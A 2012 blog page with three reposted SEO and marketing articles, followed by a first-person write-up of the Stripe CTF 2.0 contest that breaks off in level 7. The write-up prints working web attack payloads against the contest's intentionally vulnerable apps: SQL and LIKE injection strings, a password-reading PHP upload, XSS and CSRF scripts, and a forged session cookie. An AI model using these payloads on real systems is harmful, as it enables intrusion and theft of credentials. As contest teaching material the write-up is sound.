Ads 468x60px

freak2code is the blog about latest geek news,software reviews ,trends in technology and more informative stuff......

Saturday, 1 September 2012

Growing Your Audience with Random Affinities


Growing Your Audience with Random Affinities

Posted by Vinay Gautam
Most of us don’t get to choose what we write about. Your new client makes pollen-resistant underwear? Congratulations. You’re now an author specializing in allergen-repelling undergarments.
This setup sounds pretty funny until you have to write 15 blog posts per month for PollenProof™’s new marketing campaign. The idea well runs dry pretty quick. How do you keep your interest peaked and idea generator fresh? Random affinities to the rescue!

Random affinities

This term is 100% made up by me with a lot of help from some colleagues. I’m not so worried about protecting it – just beware that if you decide to use it and get laughed out of the room, your only reference is a sweaty, pale marketing guy who spends his spare time training his cats to play fetch.
Two topics have ‘random affinity’ if they are connected only by a common audience. For example: the fact that I like cycling may mean I’m four times more likely to watch "Adventure Time." There’s no subject connection between cycling and "Adventure Time" - Jake and Finn never ride a bicycle. The only connection is the fact that an unusual number of people are interested in both.
indirect affinities
A few other (potential) examples:
  • Cyclists are more likely to own tablet computers.
  • Cyclists worry more about skin cancer and skin protection.
  • People who belong to a PTA or PTO are more likely to be aquarium or zoo members.
  • People who attend boat shows are more likely to watch extreme sports on TV.
Don’t overthink it. Two ideas + no obvious connection except audience = random affinity.

So what?

This is the part where you say: So what, Ian? You writing a new book or something? Why are you wasting my time with all this fake academic marketing crapola?
The answer is this: random affinities are another way to attract and keep your long tail audience. I don’t buy a bicycle every month (not for lack of trying). I buy one every few years. You can try to catch my attention at just the right time for a bike purchase. But you’ve got a better chance of selling to me if you catch and hold my attention throughout my bicycle buying dry spell. You can do that by speaking to the random affinity topics I like. I’m over 30, plus I sunburn under full spectrum lighting, so skin protection is pretty important to me when I ride. I own a tablet computer, as well. And, if you occasionally talk about "Adventure Time," there’s no question that I will remember your company when I head for the local bike shop for my next toy.
Use ‘em right, and random affinities can increase your likelihood of:
  • Building rapport with potential customers
  • Helping folks remember you
  • Giving you something to write about besides pollen-proof skivvies
Company and sanity savers. They’re dang handy.

Finding random affinities

Way back before the Internet, when I lived in a rolled-up newspaper and got paid in fish heads, we found random affinities by a) guessing, or b) interviewing random people and hoping they weren’t screwing with us. Times were tough.
With the Internet, tools are abound. You can’t click a link without knocking one over. Here are a few of my favorites for finding random affinities:
First, use your brain. This is marketing. After conducting all the math and pretending we can computerize it all, it’s still about looking at the product, looking at the audience, and seeing the connections. Don’t treat these tools as automatic marketing machines. If you come crying to me because you got fired after you tried to sell granola bars with articles about camel spiders, I’ll just laugh. And probably write about you.
Facebook Ads are my #1 source. Sign into Facebook, then select Create An Ad. It doesn’t matter what your first ad is about; you’re just using it as a tester. Then, scroll down to ‘Precise Interests.’ Start typing, and pick the interest that makes the most sense. You’ll see a list of suggested likes and interests:
facebook precise interests
Explore to your heart’s content. Keep in mind that Facebook might not always help your exploration, so be sure to keep it creative. I once searched for "yurts" and found nothing. That’s OK, keep searching! Moving on to the next tool...
Amazon.com is a freaking gold mine. Go search for the top books on your topic. Then scroll down to "Customers who bought this item also bought." It saved me when I was yurt-hunting. Apparently a lot of yurt shoppers also care about composting, ergonomic furniture, getaways, and my favorite, alpacas:
amazon
There are some loose semantic connections here, but if you’re yurt-impaired like I was, these are great new topics. I’m not sure many people would make the connection between yurts and ergo furniture. And while I mightpicture alpacas frolicking about my yurt, I wouldn’t have considered them potential topics.
Google suggest can sometimes help you connect unexpected subjects that are linked by audience questions. I could write a lot of articles about this one:
google suggest
Though I have to admit, the question alone pushes yurts down on the list of Future Places Ian Might Live. **Shudder.**
Reddit is fantastic. Take a look at the subreddits for any topic:
reddit
never would’ve thought of Burning Man. Or Occupy Wall Street, for that matter. These aren’t really random affinities, but the search sure helped me come up with more material. And, I can now search Burning Man random affinities to find even more to write about. Evaporative air conditioners, anyone?
If your site, or any other relevant site, or any of the sites dealing with any of the random affinities you found get a decent amount of traffic, the DoubleClick Ad Planner can help you find even more. I searched the Burning Man web site in the Ad Planner and found some pretty useful stuff. First, and article or three about photo sharing and photography might be worth testing:
Ad planner
It’s possible yurt fans look for concerts more than the average person, too:
Ad planner
I’ll see what I can dig up about musical interests for my audience and test a few articles about best soundtracks for life in a yurt.

If you’re not saying what the hell, you’re not doing it right

Alpacas? Concerts? Desert events where visitors sunburn their unmentionables? It all seems… random. Right?Exactly. Truth is that the yurts example is a little bit on the fringes of the mainstream consumer audience. Try bigger B2B and B2C topics and you’ll get even better, harder-to-find random affinities.

Is it working? Getting buy-in from the boss

Your boss doesn’t care about your creative genius. She’ll just want to see the money. Or the stuff that’ll turn into money. So make sure you look at the data. I wrote a piece about Dungeons and Dragons and marketing, way back when. Affinities don’t get much more random. When it comes to short-term traffic, it sure worked:
Google Analytics traffic, daily view
My success metric is sustained growth, though. Zooming out a bit more, it looks like I got a nice surge that lasted for at least a few weeks:
Google Analytics traffic - weekly view
Visitors even stuck around to read the whole thing:
They read it! They really really read it.
If I were padding anything except my ego, I’d look at sales and other conversions, too.
Of course, before you can even write, you’ve got to convince your boss this is a good idea. Be super-clear. Show her the audience overlap. I’ve found CMOs and similar to be really receptive to random affinity marketing because it fits with traditional best-practices so well. One suggestion before you begin: start with milder stuff. Don’t sell yurts with Burning Man photos if you can do ergonomic furniture. Move on to the photos after you’ve proven the concept.

No autopilot

Again, this strategy can be messy. It’s not perfect. But random affinities will give you a whole different way to access your audience and keep your content fresh. There are three keys takeaways to making random affinities work:
  1. Don’t make this your whole strategy. At most, random affinities can drive 20% of your editorial calendar. You need a few directly-related topics, too.
  2. Set expectations. It’s a lot easier to sustain your effort if no one expects a miracle. Make sure everyone knows this isn’t a miracle marketing solution (like those exist). But also make sure they know that, in the budget spectrum, this stuff’s low-cost and low-risk. Worst case scenario is that no one reads it.
  3. Above all: If you’re still using scripts to spam links on 10,000 blogs or ensuring that your keyword is 3.5% of every page on your site, random affinities are not for you. This is the stuff that blurs the lines betweenSEO and marketing. Which is why I like it so much. And why it works so damned well.

Guest Blogging - Enough is Enough


Guest Blogging - Enough is Enough

Posted by vinaygautam
If your process chart looks like this, prepare for complete failure.
Technical Audit >> Competitive and Keyword Research >> Guest Blog Posts
Guest blogging is not a strategy, and it’s not a generic solution that can be applied to every client or every part of your site. Guest posts can be an effective supplemental tactic to a fully-formed strategy, but giving this tactic center stage is a recipe for frustration and inevitable defeat.

The Guest Blog Bubble

On-page factors don’t pack the same punch they once did. Search engines have become much better at both compensating for imperfect site optimization and ignoring on-page tricks. Our collective focus began shifting towards off-page factors long ago; it’s all about those tender, juicy links.
There are as many ways to get links as there are people and pages, but in the aftermath of Penguin, guest articles are slowly becoming an industry default. I fear that the trend is driven by a lack of creativity, augmented by fear of failure, and then reinforced by poor communication.
I raised the issue of guest posting to someone who has done a lot of it - Distilled's head of Outreach, Adria Saracino:
 "Guest posting is safe" ... "We're SEOs. We're metric driven. We like being able to see this consistent, targeted movement. Guest posting plays to our tactical strengths. And once we see it working once, we just keep doing it because it's safe. We fall into a routine of guest posting and the blinders slowly form over time, stifling innovation and big wins.
Guest posting in most cases isn't going to bring you direct traffic or conversions, it's not a "branding" play. There is usually no other benefit other than metric movement, and while it's short-sighted, it's also the easiest to defend to the higher-ups. So we become slaves to a redundant process rather than testing innovative ideas. I may even be so bold as to say guest posting is what will mark a slow death to the fast-paced innovation our industry is known for when it comes to link building."

Diminishing Returns at Best

Guest blog posts, all by themselves, do increase rankings. That does not necessarily mean they are worth doing.
It’s easy to forget about opportunity cost as an SEO when we have had past success with a given tactic. Far too often, we see results, and continue doing it as long as we possibly can. The value of an activity like guest posting is only worth doing if there’s nothing better we could be doing with our time.
Once more, just because something works does not mean we should be doing it – unless it is the best path to the fastest or most enduring results. Guest posting (by itself) is essentially never the best activity for an SEO, due primarily to the diminishing returns seen in long-term guest blogging campaigns.
Guest blogging’s strength is that you can launch immediately, avoiding that lonely feeling of blog posts that no one comments on. However, the guest-blog-only strategy has two fatal weaknesses: 1) there is an obviously fixed ratio of one linking domain per article placed, and 2) you reach rapidly diminishing returns. Furthermore, ideal blogs are a finite resource, and you can either lower your standards or post again on a good blog. Neither option is necessarily bad, but both have diminishing returns.
A pure content strategy can be frustrating simply because it takes so long to get rolling. I’ll be honest: I abandoned both a commercial and a philosophy blog in a past life because I got sick of writing posts no one read. But what if I had combined great content with other tactics?
What do I mean by a comprehensive strategy? I’m sure you remember this guy:
Inbound Marketing Channels
From Inbound Marketing is Taking Off by Rand Fishkin
With great content, your guest posts will be more effective. So will your email marketing campaigns, paid search traffic, and referral traffic. We can think of content as a multiplier that adds to almost any other marketing tactic.
The multiplier effect of amazing content happens two ways with guest posting (or any other channel, really). First, bloggers will be more likely to accept posts and talk about/to you if your target site has its own credible content. Second, users from the host blog will share and re-share your content if your site offers something they can be excited about.

Site Owner Fatigue

Link-based diminishing returns aside, the guest blogging bubble weakens further as site owners are continually poked and prodded by requests from acquaintances and strangers to allow them to guest post. Everyone is getting tired of the constant requests, especially when the requests are so damn horrible. I think Geraldine’srecent post on her travel blog captures that well:
“Hello! I am interested in writing a high-quality guest post for your site! All I require is two contextual links placed within the post.”
You know that song from the sixties that starts with “No-no no no no no no-no-no no?” That is now playing in my head. Because no.
Even if you actually read these blogs and really want to contribute something great, other people are making all but the most patient blog owners weary with their piles of requests.

What's Next?

Where are we headed, and what should we do next? SEO is not dying, and linkbuilding is not dead. I'm actually more optimistic than ever about the direction the industry is moving in. We're generally moving towards sustainability and making recommendations that are going to have a far bigger impact than raising the rankings for a couple tracked keywords.

Penalties: Unlikely for Most

It seems highly unlikely that Google will penalize guest posts just because they are guest posts. It’s a perfectly legitimate strategy – at least, when it is legitimate. Just consider that a ton of links from spammy sites publishing poorly-written content is more of a liability than a benefit. I’m not arguing that Google will bring the hammer down on guest blog posts, but risk certainly rises as quality declines.

Communicate and Fix Misconceptions

Some clients and managers are under the impression that it’s your job to vanish into the nether, and return bearing all the links they will ever need to rank for their broadest pet phrase. They're probably in the wrong; that's not how SEO works anymore. It’s easy to blame the people who have the wrong ideas, but whose fault is it when points of contact have these mistaken expectations?
It’s our fault.
We know SEO. Presumably that’s what we're taking checks for. We understand the value of content. Regardless of how someone picked up their mistaken assumptions - and this is worth looking into - it's up to us to correct misconceptions.
We often get cornered into rote guest blogging when expected to solve their problems without interaction or support. Failure to communicate this fact; however, is not sufficient reason enough to head face first into the inevitable plateau of diminishing returns. For more on how to encourage cooperation, read Hannah's post on solving people problems. She doesn't use the phrase "managing expectations" even once, I promise.

Make Content a Pre-Requisite

I am not telling you to publish and wait. Links matter – that’s obvious. You can’t sit and wait, hoping that some white knight blogger is going to come along and raise your precious content out of obscurity.
Think of your site as a retail store selling widgets. You can perform your essential business function - selling widgets - out of an empty warehouse, but we know that the appearance, furnishing, ambiance, and customer service all matter. You probably wouldn't worry about posting billboards and local ads all over town until your retail space made customers comfortable. You want them to tell their friends and come back, so you get your store in order first.
Websites are no different in this regard. To make a potential customer feel comfortable, you need compelling design, good navigation, and good content. You want users to have a great experience - whether consuming your content or making purchases - so that they will tell others (hint: sometimes via links) and come back. If you want to invest in greater visibility, get your site in order and stop trying send people to the questionable warehouses of the Internet.

THEN Explore All the Channels

There's really nothing magic about the white-hat linkbuilding process. From the users and bloggers' perspective, it looks like this:
White hat link building steps
Sharing leads in turn to more awareness, and the circle of quality continues. In a recent webinar between Rand and Dharmesh at Hubspot, paid advertising was described as "renting attention." This is true, but until you have the free sort of attention, paying for it can be a worthy way of getting the process above started. Try running display ads to content. Try bidding on low-competition informational keywords that you have great content to match. Run PR campaigns to make people aware of the most interesting part of your business. And yes, do some well-thought guest posting to raise awareness of your content. Ann Smarty has a lot of great guidance on doing guest blogging the right way.
I've singled out guest posting intentionally because its prevalance and average quality indicate that we're losing sight of goals and strategy. Much of what I've said, though, could apply to any channel. Pick a channel from the graphic above, and it's not hard to see you how having a great user experience with great content can make that tactic more financially beneficial.
There is real danger in getting myopic tunnel vision about a link or two in a post. We cheat ourselves out of compounding and self-perpetuating benefits when we fail to lay the groundwork. We’re at risk of teaching a generation of bloggers that SEOs are just spammers out to trick bloggers. We’re at risk of teaching new SEOs that linkbuilding for linkbuilding’s sake is something beside foolish and short-sighted.
I understand the fear involved with taking a bet on the difficult links. It’s not easy to tell someone that their content isn’t cutting it, and it’s even harder to provide a clear vision and map to get there. Connecting the dots between strategy and tactics is mentally exhausting, but you don’t need to get it perfect right away. And please, let's stop with the crapstorm of throwing guest posts wherever we can.

4 Tips For Your Mobile SEO Strategy - Whiteboard


4 Tips For Your Mobile SEO Strategy - Whiteboard

Posted by Vinay gautam
In this Whiteboard Friday, I share four fundamental questions that will help you assess the best alternatives to start taking mobile search into consideration for your site.
Google has recently published a set of official developers resources and recommendations to build smartphone optimized sites. Nonetheless, from a strategic perspective you also need to identify which are the best options according to your target market, present users, and site characteristics.
I hope it’s helpful and if you have any doubts or feedback, please let me know, I look forward for your comments.

Video Transcription

Hello SEOmoz fans. My name is Aleyda Solis, @aleyda on Twitter. It's a pleasure to be here with you today, and I would like to show you four tips specifically about your mobile SEO strategy, which is a very hot topic nowadays.
The idea is to really answer some questions that can arise in the beginning of the process. The first question that you may have is how many mobile users you have and how they have found you, because really what you want is to, of course, be able to optimize your site and to be reachable to those specific mobile users that your specific site has.
Use Google Analytics. Go to the audience mobile devices section of your Google Analytics, and you will find there the operating system, the provider, also the resolutions, and the type of handhelds that your users are having when they are browsing to your site.
Also, you can configure an advanced segment in Google Analytics for the organic traffic, and you can specify to only see the specific mobile traffic, which are the pages and keywords and the conversions that get generated from this mobile organic traffic that comes to your site so you can understand better the behavior of that user, which are the topics and the pages and the information that they really consume.
At the beginning, sometimes, maybe you can identify that it's not all of your site that is really attractive to the mobile users, that you have some specific offer that you really want to promote to them. That is why it's very important that you identify first, at the beginning.
Also, use Google Webmaster Tools. Google Webmaster Tools has a filter where you can see only the mobile search for keywords and pages impressions. So you can see how is your site already behaving on the SERPs for mobile users.
Finally, always, the Google Keyword tool. Remember the typical Google keyword tool that we use? There is a setting there where you can specify that you only want information for smartphone searches. Do it so you can see also: How does that match with the traffic you already have for your types of products or services?
For example, you can see that maybe the traffic that you are getting is not even near the possibilities and the volume that there is already going for mobile users for your type of product or services, and there's a lot of room to grow or a lot of possibilities in that area. That's another good tip.
Finally, you already know your user behavior, what type of user do you have from smartphones. So you want to move to the next question that usually arises: How does your site look from those mobile devices?
Now, you know that you have those users that they are using the iPhone or maybe a BlackBerry, Simian, whatever. How does your site look from those devices? You can use some tools. Screenfly is specifically good to see the different resolutions, how your site looks from the different resolutions on the different smartphones, tablets, mobile phones. Google Master Tools also has a feature named Fetch as Googlebot. You can set the smartphone option so you can see how the bot is really looking at your code, verify the code that they are really getting from your site, and eliminate any possibility of redirections that you may have at the beginning of something.
You can also use the add-on from Firefox, use their agents feature. You can switch to mobile or smartphone user agent. This relays how your site is also reachable from those type of devices easily.
So, now you know how your site looks. You may have problems with those types of users that can use certain types of smartphones, and maybe you need to improve a little bit how your site looks in them. Okay. That's the first thing to do.
Then the next question is: What type of mobile web is better for you?
Because of the analytics, okay, I know that I have a lot of possibilities. I know that my site is not really attractive for this type of device. But that doesn't mean that you are going to start from scratch doing whatever to make your site friendly. No. You need to identify which is the best strategy for you according to your type of site. Okay?
So the first site -- and this is the recommendation from Google and it's very, very popular nowadays also from a development perspective -- it's the responsive website. This is the ideal situation, also, if you have the same content that you want to deliver for the mobile and the desktop user. You have the flexibility to implement. You have a good CMS or you have development resources that may facilitate the implementation, but let's say that maybe you cannot change something on your site or you have a not flexible CMS and you have just switched six months ago. Maybe you have problems there to implement it. Right? This is, of course, the best for smartphone users or tablet users.
If you have a feature phone base of users that you have identified before, maybe it's not the ideal, because you will have more problems to make this site that is good for desktop also good for a feature phone.
So the responsiveness, you ask a question for this, but then, if some of those different criteria that I have discussed before are not met, you might consider the dynamic serving in the same URL. This is more suitable for those sites that want to really offer a different type of content, produce a type of users. Remember that a lot of mobile users are also users that are looking for local type of searches that you may verify before with a keyword tool or Google Analytics, but that means that maybe, for those type of users, you want to provide some specific offer, a coupon, something different, maybe references to go walk into your next store, a different type of content than for the typical desktop user. Right? So this will be the alternative.
If you cannot implement responsive, I have talked before, if you have feature phone users, then you will do dynamic serving in the same URL. That means that you will be at a parallel site, but this site or this content will be shown through the same URL. The thing is to implement the user agent detection so instead of showing one version of the content, you will show the other.
If you, for some reason, have no other possibility to implement this, then you will move to the parallel site in an "m" subdomain. This means that you will build off a parallel site, but it won't be shown on the same URL as the previous option. Then you will need to add some text or rel=alternate tag to refer user from the desktop version to the mobile one. Also, vice versa, with a canonical tag. So, like this, you won't have any content duplication problems.
At the end of the day, this is not optimal because this means that the crawler, Google, will need to really identify much more content, and you will give much more work to the crawler. It won't be as neat as to have just one URL for everything. You will need to work more also to improve the popularity of this other parallel site because you don't have the same URL for everything. So it's not the ideal situation really.
The fourth question that might arise is: How can Google find my mobile site now, if it is not responsive? Of course, if it's responsive, it's the exact same content that will be shown to the desktop user as to the mobile one.
So what will happen in this situation? For example, you have a parallel in a "m" subdomain. You will need to generate a mobile sitemap and upload it through Google Webmaster Tools. Of course, links, it is always a good practice to link between one version and another of the site if you're using different URLs. Of course, good dynamic serving. If you're using the dynamic server with the same URL, sometimes it's not well-configured.
At the end of the day, the Google bot doesn't realize that there's another version there hidden somewhere. This is not cloaking because you will actually show the exact same information not only to the mobile bot, but also to the mobile user. As long as the user and the bot see the same thing, it's not cloaking, really, but you need to verify that it's well-
configured. That's why it's very important that you check the feature on Google master tools and see if the mobile Google bot user agent is really seeing the code that you want.
So, these are the most difficult questions that arise when you are developing your mobile SEO strategy. I hope that these are of use for you now that this is a very hot topic. You verify and validate first if it has a sense to enable these type of sites right now for you. If it does, where are the best options to do it?

Friday, 31 August 2012

Stripe CTF 2.0


Stripe CTF 2.0

posted by vinay gautam

This is a thing I did. It was a cracking contest held by Stripe (who run a pretty neat service, btw), and it ended today. I was third to beat level 7 and twentieth to beat level 8, so here is the tale of how I came upon the solutions.

I haven’t reproduced the entirety of each puzzle below, because that would suck, but if you’re lucky maybe you can still sign up and follow along. If not, Stripe has promised to release the puzzles (and solutions) tomorrow. I think.

Level 0: Secret Safe

This one was written in JavaScript and implemented really simple security-by-obscurity storage: you provide a namespace, and it either stores data for you under some key or tells you all keys and data stored under that namespace.
This was the intro level, so the solution was pretty obvious, but actually less obvious than I expected for a level called “0”. The offending line is:
1
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
The key is actually stored as namespace.key. So the “exploit” is just to enter % as the namespace, and voilà, every secret is revealed. The db doesn’t know the difference between a % in your literal query and a % in your bound parameter, so any key containing a period (i.e., all of them) is selected. I suppose you’d call this LIKE injection.
It’s not vanilla SQL injection, but it relies on the same principle as all injections: dropping arbitrary data blindly into a structured format.

Level 1: Guessing Game

PHP this time, and a similar idea, really. Enter the password, receive the data, which is stored in a file.
This one relied on recognizing a hilariously awful standard PHP function:
1
2
      $filename = 'secret-combination.txt';
      extract($_GET);
extract() takes all the keys of a hash and dumps them into your local namespace, as variables. The line above implements the infamous register_globals.
That’s just a low blow, Stripe. :)
Solution, then, is to use a query string of ?attempt=&filename=junk. The file won’t exist, PHP will cheerfully read it and return something falsey, and that’ll compare equal to the empty string.
The vulnerability here is called “PHP”. Yeah, whatever, PHP runs Facebook, I don’t care, go away.

Level 2: Social Network

PHP again. Now we’re getting into exploits I have, tragically, actually seen in the wild. The password is still stored in a file (that cannot be read directly), but now the only real entry point to the program is uploading an avatar.
So. Yeah.
my_avatar.php
1
<?php echo file_get_contents('../password.txt');
Upload that as your avatar and visit the URL. PHP injection.
Props to level 1 for reminding me that file_get_contents exists.

Level 3: Secret Vault

Level 2 was the last of the PHP puzzles. Now we’re getting serious. This one is a Flask app—i.e., Python.
This is a sequel to the Secret Safe, but it’s the same general idea, except that namespaces and keys have been replaced with genuine usernames and passwords.
A glance over the code, and something stands out:
1
2
    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
This, then, is the obligatory SQL injection puzzle.
I am shamed to admit I took a few minutes on this—way longer than I should have. I tried to trick SQLite into running multiple statements here, or embedding an INSERT/UPDATE inside this SELECT. Those don’t work, which is good.
I didn’t get it until I rephrased the question as: how can I trick this query into retrieving data that’s not really from the users table?
Oh, right. New username:
' UNION SELECT (select id from users where username = 'bob'), '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae', '
Which produces the final query:
1
2
3
4
SELECT id, password_hash, salt FROM users WHERE username = ''
UNION
SELECT (select id from users where username = 'bob'), '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae', ''
LIMIT 1
There are no usernames of '', so the first SELECT doesn’t find anything. The second one pretends to be bob’s id, a constructed SHA1 hash, and an empty salt. Result is a single row that tricks the app into thinking my password of “foo” is correct.

Level 4: Karma Trader

A Ruby app, built on Sinatra. I can’t beat the original description:
The Karma Trader is the world’s best way to reward people for good deeds. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.
This should sound more ludicrous than it is, but I genuinely believe there are people in the world who would think this is a great idea.
The gimmick here is that an existing user, karma_fountain, has both unlimited karma and also the password to level 5 as his own password. To get it, obviously I need to make it look like he has give me karma.
This was hard. Because there’s a catch.
The database access all uses Sequel (a little db library) and bound params, so there’s no SQL injection. There are no silly oversights like extract. I can create as many users as I want, but I can only make them send karma to each other; I can’t make anything that looks like karma_fountain.
There are no obvious exploits. I can’t fake anything on the server.
I was going slightly crazy until I noticed some hints.
Perhaps you read Encyclopedia Brown books, or similar kid mysteries. I loved those. I started tearing through them once I noticed that most of the solutions revolved around some minor detail that received undue importance in the story, like just how many quarts of water were given to dogs before a race.
And so it was here. Quite a lot of code, relative to the size of this dinky app, is dedicated to updating and displaying a last_active timestamp. That’s utterly pointless; I’m the only one using this thing, and I know when I’ve been active.
But wait! From the app itself:
If you’re anything like karma_fountain, you’ll find yourself logging in every minute to see what new and exciting developments are afoot on the platform.
Below this is a list of all registered users, and their last-active timestamps.
karma_fountain did indeed have a very recent timestamp.
I refreshed the page.
The timestamp advanced by precisely one minute.
Brilliant.
That made the solution obvious: I created a new account with a password of:
<form id="x" method="post" action="transfer"><input type="hidden" name="to" value="eevee2"><input type="hidden" name="amount" value="100000"></form><script>document.getElementById('x').submit();</script>
Then I sent karma_fountain a single karma. One minute later, the bot hit the page again, dutifully executed my XSS, and sent me ten thousand karma and the next password.
(The bot is still going; as of this writing i have 60000499 karma.)

Level 5: Domain Authenticator

Ruby and Sinatra again. The app implements a federated identity system: you provide a username, password, and URL. It posts your username and password to the URL, and if the response is AUTHENTICATED, it considers you as logged in. If you log in with a URL hosted on a level05-*.stripe-ctf.com machine, it’ll also tell you the password for level 6.
The trick, of course, is that nothing running on the machine actually implements this protocol, and in fact there is no implemented provided at all.
There is one more hint: the production app can only make requests to *.stripe-ctf.com machines, butsomeone “forgot” to firewall off the ports on the level 2 machines. You know, those machines that let me upload and run any code I want. So, that’s nice.
This one was good. I actually didn’t really solve it. I found most of the solution, but then I accidentally tripped over something else that was even better.

My solution

I entered a URL with letters in the port. The app crashed and showed me a generic Rack error page, with debugging information.
Now, much like Flask, Rack (and thus Sinatra) handles sessions by default by serializing a hash, tacking on a signature, and storing the whole shebang in a cookie. The upside is that this doesn’t require any server-side setup or maintenance whatsoever. The downside is that this is fucking bozotic, because it let me do the following.
You see, the Rack debug page exposes the key used to sign session cookies.
With that, it wasn’t particularly difficult to construct a fake cookie that claimed I had already been authenticated by level05-2.stripe-ctf.com. (I actually ran into a bit of trouble here: I took the original cookie from Firefox, but tried to inject it in Chromium, which already had a cookie editor installed. It took me a few minutes to notice that Rack also tracks your user agent in your cookie, and ignores it if the cookie and browser don’t match. So, minor props there. Then I found out that Firebug can edit cookies; problem solved.)
@kevinlange later pointed out to me that this actually works for all three Rack puzzles: 4, 5, and 6. I believe he informed Stripe of the unintended exploit, and it was fixed the next day: errors now serve the generic Apache 500 page.
I wasn’t quite sure whether this was intentional or not; after all, it was a legitimate exploit, but it didn’t require mucking with level 2 at all. But I had access to level 6, so whatever.

The real solution

The username and password are, of course, an irrelevant distraction. There’s no list of usernames and passwords anywhere, so they can’t possibly matter.
The real puzzle here is tricking the app into thinking level05 has verified you. And since there’s only one thing running on level05, the puzzle is tricking the app into thinking it has verified you.
The first step is to try feeding the app to itself as the URL. That produces:
An unknown error occurred while requesting https://level05-2.stripe-ctf.com/user-abcdefghij/: 500 Internal Server Error
The app is calling itself, but the second call has no pingback URL, so it gets confused and dies. Hmm.
Lucky for me, the app examines params, which is a combined hash of both GET and POST data. So I can make it not crash, at least, by feeding it https://level05-2.stripe-ctf.com/user-vmscdesvlp/?pingback=www.google.com.
Remote server responded with: Host not allowed: www.google.com (allowed authentication hosts are /\.stripe-ctf\.com$/). Unable to authenticate as foo@level05-2.stripe-ctf.com.
A valiant start. I can keep this loop going as long as I please, but without an actual authentication somewhere, I won’t get very far. And that’s where the level 2 servers come in.
pingback.php
1
 AUTHENTICATED
I don’t know why they mentioned “high ports” not being firewalled off; the above is all you need. There’s already an HTTP server running, after all.
Upload this guy, try to authenticate as https://level02-2.stripe-ctf.com/user-zlbgqlkyoe/uploads/pingback.php, and I get:
Remote server responded with: AUTHENTICATED.  Authenticated as foo@level02-2.stripe-ctf.com!
Wrong server, but getting there.
This is actually as far as I got before accidentally breaking Rack, but the rest isn’t too difficult. The actual check for authentication uses the following regex:
1
      body =~ /[^\w]AUTHENTICATED[^\w]*$/
(That’s why I have an extra space in pingback.php: to match the weird [^\w] atom. Should be \b, but, whatever.)
Trouble is brewing: how can I trick the level05 app into putting the word “AUTHENTICATED” at the end of a response? It always prints trailing literal text!
Well, it’s an uncommonly known quirk (and hilarious potential source of exploits—like this one!) of Ruby regular expressions that they are treated as multiline by default. That means ^ and $ don’t match the beginning or end of a string; they match the beginning or end of a line.
Now the solution is easy peasy. In fact, I don’t even have to do anything, because my pingback.php already contains a trailing newline. The final URL is https://level05-2.stripe-ctf.com/user-vmscdesvlp/?pingback=https://level02-2.stripe-ctf.com/user-zlbgqlkyoe/uploads/pingback.php and we’re off to the races.
Remote server responded with: Remote server responded with: AUTHENTICATED . Authenticated as foo@level02-2.stripe-ctf.com!. Authenticated as foo@level05-2.stripe-ctf.com!
The newline became a space in HTML land, of course.
Back to the main page, and the password is revealed.

Level 6: Streamer

The last of the Ruby/Sinatra puzzles. This is a little “stream of posts” app, built with Bootstrap and jQuery. Once again, I have an automated friend, except now he taunts me over time:
Streamer is soo secure
Yes, we’ll see about that.
Again, his password is the password to the next level. I’m told in advance that his password contains some number of quotation marks and apostrophes, and I can see from the code that any such characters anywhere in any request cause an immediate abort. Lame. I do know that his password appears on the user info page, but of course, only if you’re logged in as him.
XSS and CSRF seem to be no good here; the template is actually escaping things now. (Shame on someone for not making that the default.) But this is the first puzzle with client-side JavaScript. After some useless futzing with bogus usernames, that seems promising.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
      var username = "<%= @username %>";
      var post_data = <%= @posts.to_json %>;

      function escapeHTML(val) {
        return $('<div/>').text(val).html();
      }
      function addPost(item) {
        var new_element = '<tr><th>' + escapeHTML(item['user']) +
            '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' +
            escapeHTML(item['body']) + '</td></tr>';
        $('#posts > tbody:last').prepend(new_element);
      }

      for(var i = 0; i < post_data.length; i++) {
        var item = post_data[i];
        addPost(item);
      };
There are only a few places user data gets put in here: the username and the posts. The username is easily breakable, but that only affects me here. The post elements are escaped by the hacky but correctescapeHTML function. So what does that leave?
It leaves JSON.
JSON is structured, yes, but it doesn’t know or care about HTML. After all, the JSON representation of <b> is just "<b>", and the JSON representation of </script> is just "</script>", the one thing that can break out of an inline script tag.
So I can just write a post like this:
</script><script>alert("gotcha");
And the JS will execute.
But wait! I’m not allowed to send any data that contains quotes or apostrophes. This really is super secure!
Unless I make it:
</script><script>alert(String.fromCharCode(103, 111, 116, 99, 104, 97));
And that’s basically the solution. Take advantage of the provided jQuery to fetch user_info on my friend’s behalf, extract the password, and post it as a message. The final trick is remembering to somehow encode the password (as I’m told it also contains quotes); I just url-encoded the whole page and posted that. Easy peasy.

Level 7: WaffleCopter

Back to Python, but now we’ve moved on beyond websites: this is an API endpoint. There’s a very simple web interface that tells me my API key and shows a lot of my API requests.
I’m supposed to make a request for a privileged waffle, but requests are signed with my API key. They look like this:
count=1&lat=42.39561&user_id=5&long=-71.13051&waffle=dream|sig:30d0ca71b00bbe5e649628b8a7f2f88f90e17c27
The signature is a SHA1 hash of my API key plus the rest of the request.
So. Now what? The database is solid. There’s no other player here. Surely I’m not supposed to just crack SHA1. Surely.
Well, let’s see. The first thing I notice is that the server code does its own parsing of the query:
1
2
3
4
5
6
7
8
9
def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        params[key] = val
    return params
This is standard affair, with the lone exception that it doesn’t do anything special to handle multiple values for the same key. But that doesn’t help me; I only know how to sign my own requests, and adding more junk data to those isn’t helpful.
I flail around for a bit. Then I notice this.
1
2
3
4
5
@app.route('/logs/<int:id>')
@require_authentication
def logs(id):
    rows = get_logs(id)
    return render_template('logs.html', logs=rows)
This block only lets registered users see API logs, but it doesn’t check which user you are. And sure enough, I can visit /logs/2 and see some requests for privileged waffles! But, alas, nobody has requested the particular waffle I need, which rules out a replay attack. If I could take one of these requests and just run it with a different waffle…! But I cannot.
OR CAN I.
I couldn’t think of anything to attack besides the hash itself. SHA1 has some theoretical weaknesses that make it simpler to attack than mere brute-forcing, but nothing practical, or that I could reasonably be expected to do here.
